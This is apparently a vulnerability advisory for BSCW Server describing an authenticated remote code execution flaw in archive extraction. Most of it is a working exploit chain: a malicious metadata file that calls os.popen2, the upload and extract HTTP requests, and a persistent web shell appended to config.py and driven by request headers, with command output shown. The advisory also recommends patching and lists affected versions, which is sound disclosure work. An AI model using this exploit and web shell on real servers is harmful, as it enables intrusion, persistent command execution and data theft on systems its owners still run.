Authenticated RCE in BSCW Server

Vendor description

"A versatile system for any field of application BSCW Classic is in use around the world. With more than 500 functions, it offers the right solution for every task. Turn your ideas into reality! Our proven system has been supporting information flow and knowledge management at numerous companies for more than 20 years."

Source: https://www.bscw.de/en/classic/

Business recommendation

The vendor provides a patched version for the affected products which should be installed immediately.

Vulnerability overview/description

1) Authenticated RCE

The application allows a user with low privileges to upload different kind of archives ('ZIP', 'tar', 'RFC822') and extract them on the server. During the extraction process a special file ('.bscw') is processed to attach metadata to the files created during extraction. This metadata file contains an attribute ('class'), which is later used to instantiate a class/call a function to create the desired object. As there is no allow-list implemented to limit the class/function which can be called, it is possible to call an arbitrary `Python` function. During the function call there are two parameters provided, where the first is controlled by the attacker (a element from the metadata file: 'bscw:name').

Proof of concept

1) Authenticated RCE

The first step is to create an archive with a malicious '.bscw' file.

$ zip ../data.zip ./.bscw ./*

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE bscwarc SYSTEM "http://bscw.de/bscw/bscwarc.dtd">
<bscwarc id="local.bscw:80H.sec" server="http://bscw.local" timestamp="20210630T123242Z" pathsep="\\">
<metadata xmlns:bscw_doc="http://bscw.de/bscw/elements/0.1/doc/" xmlns:bscw="http://bscw.de/bscw/elements/0.1
/" >
<obj ctime="1624530343.92" creator="admin" id="214" mtime="1625049949.51" path="Its_me.txt" type="text
/html; charset=UTF-8" class="<CLASS/FUNCTION to call>" >
<bscw:description></bscw:description>
<bscw_doc:mimetype>HTML Document</bscw_doc:mimetype>
<bscw:name>CONTENT OF FIRST PARAMTER</bscw:name>
</obj>
</metadata>
</bscwarc>

Then the archive can be uploaded to a folder (OID: 267), where the user has write access to:

PUT /sec/bscw.cgi/267/data.zip HTTP/1.1
Host: bscw.local:8080
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/zip
Content-Length: 1559
DNT: 1
Connection: close
Cookie: bscw_auth="<USER_AUTH_COOKIE>"
PK.....

After uploading the archive the 'extract' operation can be called for the new created file object (OID: 1179):

GET /sec/bscw.cgi/267?op=extract&id=267_1179 HTTP/1.1
Host: bscw.local:8080
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
DNT: 1
Connection: close
Referer: bscw.local/sec/bscw.cgi/267
Cookie: bscw_auth="<USER_AUTH_COOKIE>"
Upgrade-Insecure-Requests: 1

During the extraction the function from the 'class' attribute is located and called.

# File: bs_extract.py
def createArtifact(self, request, tree, user, target=None):
"""create artifact for user and add to target
returns tuple (artifact, oldid) - or (None, None)
"""
# ....
# Locating the class/function
# klass = metadata 'class' attribute
klass_tuple = klass.split('.')
klass_name = klass_tuple[(-1)]
klass_modul = ('.').join(klass_tuple[:-1])
try:
modul = __import__('bscw').module(klass_modul)
except ImportError as ie:
log_arc.warning('ImportError: %s ', str(ie))
klass = 'bscw.core.cl_folder.Folder'
modul = None
if modul and hasattr(modul, klass_name):
constructor = getattr(modul, klass_name)
else:
constructor = None
# ....
# Large if else construct for handling different known classes
if klass == 'bscw.core.cl_folder.Folder' or bscw_xml and klass in FOLDER_CLASSES:
log_arc.debug('createArtifact: create Folder (for %s)', klass_name)
lname = legalized_name(Folder, name)
# ...
# If klass is unknown the following code is executed
# name = metadata object element 'bscw:name'
# user = <bscw.core.cl_user.User>(logged in user)
if constructor:
assert callable(constructor), 'artifact constructor is callable'
try:
artifact = constructor(name, user)
lname = artifact.set_name(name, autolegalize=True)
except Exception as e:
return self.failed(klass, e, fname=fname)

To exploit this code we need a function which can be invoked like

GADGET(arg1 : str, arg2 : bscw.core.cl_user.User)

Fortunately 'BSCW Classic' requires 'Python 2.X', which has the function 'os.popen2'.

os.popen2(cmd[, mode[, bufsize]])
Execute cmd as a sub-process and return the file objects
(child_stdin, child_stdout).
Deprecated since version 2.6: This function is obsolete. Use the subprocess
module. Check especially the Replacing Older Functions with the subprocess
Module section.
Availability: Unix, Windows.
New in version 2.0.

The first parameter is the command line which is executed in a shell context. The second parameter is `mode` which should be "w" or "r", but it falls back to the default if the type is not correct (in contrary to 'os.popen').

Python 2.7.18 (default, Apr 28 2021, 17:39:59)
[GCC 10.2.1 20210110] on linux2
Type "help", "copyright", "credits" or "license" for more information.
>>> import os
>>> os.popen("whoami", dict())
Traceback (most recent call last):
File "<stdin>", line 1, in <module>
TypeError: popen() argument 2 must be string, not dict
>>> os.popen2("whoami", dict())
(<open file '<fdopen>', mode 'wb' at 0x7ff98f42c780>, <open file '<fdopen>', mode 'rb' at 0x7ff98f42c660>)
>>>

Providing `os.popen2` as value of the `class` attribute and 'touch /tmp/foobar_poc.txt' as the value 'bscw:name' element, the following
code is executed:

os.popen2("touch /tmp/foobar_poc.txt", bscw.core.cl_user.User("UID"))

which creates the PoC file:

root@888df0c0b5f0:/opt/bscw/srv/bscw.local# ls -la /tmp/*poc*
-rw-rw---- 1 www-data bscw 0 Jul 3 07:43 /tmp/foobar_poc.txt

But currently this is a blind RCE, because the result of the call is assigned to 'artiface' and the method '.set_name' is called on the returned 'tuple' (see above code).

The extraction generates the following log entries:

2021-06-24 14:33:53 cl_artifact on_archive_import 2464 DEBUG Artifact.on_archive_import(): bscw.core.
cl_document.Document#1142
2021-06-24 14:33:53 bs_extract createArtifact 80 DEBUG createArtifact for node: ArchiveNode[#3]<touch /tmp
/foobar.txt> path= childs=0
2021-06-24 14:33:53 bs_extract createArtifact 110 DEBUG createArtifact() node without file/folder: 'touch
/tmp/foobar.txt'
2021-06-24 14:33:53 bs_extract createArtifact 134 DEBUG createArtifact xml:True isdir:True => klass=os.popen2
2021-06-24 14:33:53 bs_extract createArtifact 178 DEBUG createArtifact: <os.popen2> 'touch /tmp/foobar.txt'
2021-06-24 14:33:53 bs_extract createArtifact 197 DEBUG createArtifact: kmodul=os kname=popen2 modul=<module
'os' from '/usr/lib/python2.7/os.pyc'> constructor=<function popen2 at 0x7f12e7df1950>
2021-06-24 14:33:53 bs_extract failed 366 ERROR createArtifact: "os.popen2" failed: 'tuple' object has
no attribute 'set_name' (touch /tmp/foobar.txt)

Simple persistent shell (CGI mode)

To allow the attacker to execute commands and get the output of it, the file
'<bscw_install>/conf/config.py' can be overwritten. The initial permissions of this file look like (user: 'bscw', group: 'bscw'):

root@888df0c0b5f0:/opt/bscw/srv/bscw.local# ls -la conf/config.py
-rw-rw---- 1 bscw bscw 83899 Jul 3 10:50 conf/config.py

In the normal setup, Apache is used to run the `bscw.cgi` script as its own user 'www-data'. But fortunately the `bscw.cgi` binary has the 'SGID' flag set, which sets the 'effective GID' to 'bscw'. This allows us to overwrite this file.

root@888df0c0b5f0:/opt/bscw/srv/bscw.local# ls -la var/www/bscw.cgi
-rwxr-sr-x 2 bscw bscw 17064 Jun 18 22:07 var/www/bscw.cgi

The following simple shell can be installed on the system:

import os
e_key = os.environ.get("HTTP_BSCW_K", "")
e_cmd = os.environ.get("HTTP_BSCW_C", "")
if e_key == "{KEY}" and e_cmd:
try:
print "Content-Type: text/plain\n"
import sys, subprocess
print subprocess.check_output(e_cmd.decode("base64"), shell=True, stderr=subprocess.STDOUT)
except Exception as e:
print e
sys.exit(0)

This can be done with the shown command:

echo "<BASE64 encoded python shell code>" | base64 -d >> ./conf/config.py

After installing the shell, a simple HTTP request to the public endpoint can be used to execute the command and get the output:

GET /pub/bscw.cgi HTTP/1.1
Host: bscw.local:8080
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
DNT: 1
Connection: close
Upgrade-Insecure-Requests: 1
BSCW-K: <KEY>
BSCW-C: <@base64>ls -la<@/base64>

The response of the executed command "ls -la" is directly contained in the response of the web-server.

HTTP/1.1 200 OK
Date: Sat, 03 Jul 2021 13:13:10 GMT
Server: Apache/2.4.41 (Ubuntu)
Vary: Accept-Encoding,User-Agent
Content-Length: 806
Connection: close
Content-Type: text/plain
total 96
drwxr-xr-x 1 bscw bscw 4096 Jul 3 08:41 .
drwxr-sr-x 1 bscw bscw 4096 Jun 18 22:07 ..
lrwxrwxrwx 1 bscw bscw 52 Jun 18 22:07 20190717-1636-2b48861 -> /opt/bscw/lib/bscw-5.2.3-2b48861-py27/bscw
/resources
drwxrws--x 4 bscw bscw 4096 Jun 18 22:07 auto
-rwxr-sr-x 2 bscw bscw 17064 Jun 18 22:07 bscw.cgi
-rw-r--r-- 1 bscw bscw 2966 Jun 18 22:07 error401.html
-rw-r--r-- 1 bscw bscw 9771 Jun 18 22:07 index.html.de
-rw-r--r-- 1 bscw bscw 9586 Jun 18 22:07 index.html.en
-rw-r--r-- 1 bscw bscw 9765 Jun 18 22:07 index.html.es
-rw-r--r-- 1 bscw bscw 9791 Jun 18 22:07 index.html.fr
-rw-r--r-- 1 bscw bscw 102 Jun 18 22:07 robots.txt
lrwxrwxrwx 1 bscw bscw 52 Jun 18 22:07 static -> /opt/bscw/lib/bscw-5.2.3-2b48861-py27/bscw/resources

Vulnerable / tested versions

BSCW Classic 5.2.3 was used to find the vulnerability.
The vendor confirmed that following versions also affected by the vulnerability
BSCW Server <=5.0.11, <=5.1.9, <=5.2.3, <=7.3.2, <=7.4.2

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